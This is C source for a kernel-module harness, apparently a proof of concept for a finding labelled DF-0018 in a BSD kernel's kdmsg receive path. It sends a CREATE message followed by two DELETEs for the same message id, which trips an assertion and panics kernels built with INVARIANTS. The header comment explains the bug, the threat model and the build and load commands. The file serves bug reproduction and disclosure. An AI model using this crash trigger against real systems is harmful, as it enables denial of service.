DF-0018 / harness.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 | /* DF-0018 deterministic in-kernel harness. * * Creates a private kdmsg_iocom over a kernel pipe (no DIOCRECLUSTER, no * autoinitiate, no disk-iocom complications), then writes three raw dmsg * header bytes into the pipe's write end: * * 1. CREATE for msgid=42 (cmd-side, state inserted into staterd_tree) * 2. DELETE for msgid=42 (state found, rxcmd |= DMSGF_DELETE; txcmd * lacks DELETE so RB_REMOVE is NOT taken; state * stays in the tree) * 3. DELETE for msgid=42 (state found again, KKASSERT at * kern_dmsg.c:1076 fires because * state->rxcmd already has DMSGF_DELETE) * * This is the same receive path the reader thread runs for any DMSG peer * (HAMMER2 cluster / disk cluster / xdisk). The threat model is "a peer * with cluster-link access"; loading this module requires root, which is * the in-kernel equivalent of that peer position. * * On an INVARIANTS kernel (default X86_64_GENERIC) this panics with: * panic: assertion "(state->rxcmd & DMSGF_DELETE) == 0" failed ... * in kdmsg_state_msgrx at .../kern_dmsg.c:1076 * * On a non-INVARIANTS kernel the KKASSERT is a no-op (systm.h:117-119) and * the duplicate DELETE is absorbed benignly. * * Build (in guest, against /usr/src): * cd /tmp/df18_harness && make * Load (will panic an INVARIANTS kernel): * kldload ./df18_harness.ko */ #include <sys/types.h> #include <sys/param.h> #include <sys/systm.h> #include <sys/kernel.h> #include <sys/malloc.h> #include <sys/module.h> #include <sys/proc.h> #include <sys/file.h> #include <sys/filedesc.h> #include <sys/kern_syscall.h> #include <sys/mutex.h> #include <sys/dmsg.h> static MALLOC_DEFINE(M_DF18H, "df18h", "df0018 harness"); static kdmsg_iocom_t ic; static int df18_noop_rcv(kdmsg_msg_t *msg) { /* just discard; we are only exercising the state machine */ return 0; } static void put32(struct file *wfp, uint32_t cmd, uint64_t msgid) { struct { uint16_t magic; uint16_t pad02; uint32_t salt; uint64_t msgid; uint64_t circuit; uint64_t link_verifier; uint32_t cmd; uint32_t aux_crc; uint32_t aux_bytes; uint32_t error; uint64_t aux_descr; uint32_t pad38; uint32_t hdr_crc; } h; ssize_t res; int error; memset(&h, 0, sizeof(h)); h.magic = 0x4832; /* DMSG_HDR_MAGIC */ h.cmd = cmd; h.msgid = msgid; error = fp_write(wfp, &h, sizeof(h), &res, UIO_SYSSPACE); if (error) kprintf("df18: fp_write error=%d res=%zd\n", error, res); } static int df18_modevent(module_t mod, int type, void *data) { int error; long fds[2]; struct file *rfp, *wfp; switch (type) { case MOD_LOAD: kprintf("df18: loading; creating pipe-backed kdmsg iocom...\n"); /* Create an in-kernel anonymous pipe. Returns two fds; * read end at fds[0], write end at fds[1]. */ error = kern_pipe(fds, 0); if (error) { kprintf("df18: kern_pipe error=%d\n", error); return error; } /* Convert fds to file pointers (holdfp adds a ref) and * drop the fdtable refs. */ rfp = holdfp(curthread, (int)fds[0], -1); wfp = holdfp(curthread, (int)fds[1], -1); kern_close((int)fds[0]); kern_close((int)fds[1]); if (rfp == NULL || wfp == NULL) { kprintf("df18: holdfp failed\n"); return ENFILE; } kdmsg_iocom_init(&ic, &ic, 0 /* no AUTO flags */, M_DF18H, df18_noop_rcv); /* hand the kernel the read end; we (the module) own the write end */ kdmsg_iocom_reconnect(&ic, rfp, "df18"); kprintf("df18: iocom up; writing CREATE+2xDELETE for msgid=42\n"); /* CREATE: LNK_PAD | DMSGF_CREATE. LNK_PAD = 0x00000001 * (DMSG_PROTO_LNK | 0<<8 | DMSG_HDR_ENCODE(dmsg_hdr)=1). */ put32(wfp, 0x00000001U | DMSGF_CREATE, 42ULL); /* Two back-to-back DELETEs for the same msgid. */ put32(wfp, 0x00000001U | DMSGF_DELETE, 42ULL); put32(wfp, 0x00000001U | DMSGF_DELETE, 42ULL); /* Give the reader thread time to drain the pipe and trip the * KKASSERT. On an INVARIANTS kernel this never returns. */ tsleep(&ic, 0, "df18w", 5 * hz); kprintf("df18: harness completed without panic " "(KKASSERT is a no-op on non-INVARIANTS kernels).\n"); /* teardown */ kdmsg_iocom_uninit(&ic); fdrop(wfp); return 0; case MOD_UNLOAD: return 0; default: return EOPNOTSUPP; } } static moduledata_t df18_mod = { "df18_harness", df18_modevent, NULL }; DECLARE_MODULE(df18_harness, df18_mod, SI_SUB_PSEUDO, SI_ORDER_ANY); MODULE_VERSION(df18_harness, 1); |